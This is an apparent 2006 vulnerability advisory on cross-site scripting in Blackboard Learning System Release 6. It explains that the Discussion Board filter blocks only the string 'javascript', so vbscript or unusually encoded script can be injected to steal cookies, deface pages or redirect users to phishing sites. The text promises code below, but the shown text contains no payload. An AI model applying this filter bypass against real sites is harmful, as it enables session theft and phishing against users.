-----------------------------------------------------------------------------------------
Found by: PrOtOn & digi7al64
Date: May 20th 2006
Critical Level: High
Type: Multiple Cross Site Scripting (XSS) vunerabilities
------------------------------------------------------------------------------------------
Software:
Blackboard Learning System (Release 6) Blackboard Learning and Community Portal
Suite (Release6)-6.2.3.23
------------------------------------------------------------------------------------------
Explanation: You can inject HTML, VB code and or Javascript into specific tags
to steal
cookies, deface the site using frame busters or even redirect to external sites
for phishing purposes.
If you have limited access, then a simple post into the Discussion Board using
the right
tags with the right code (provided below) will execute the vulnerability(ies).
-------------------------------------------------------------------------------------------
About:
Blackboards parsing system only checks for the string "javascript", Thus
vbscript code can be injected at will into tags as well as any versions of
javascript that uses uncommon syntax (ie tabs encoding etc)
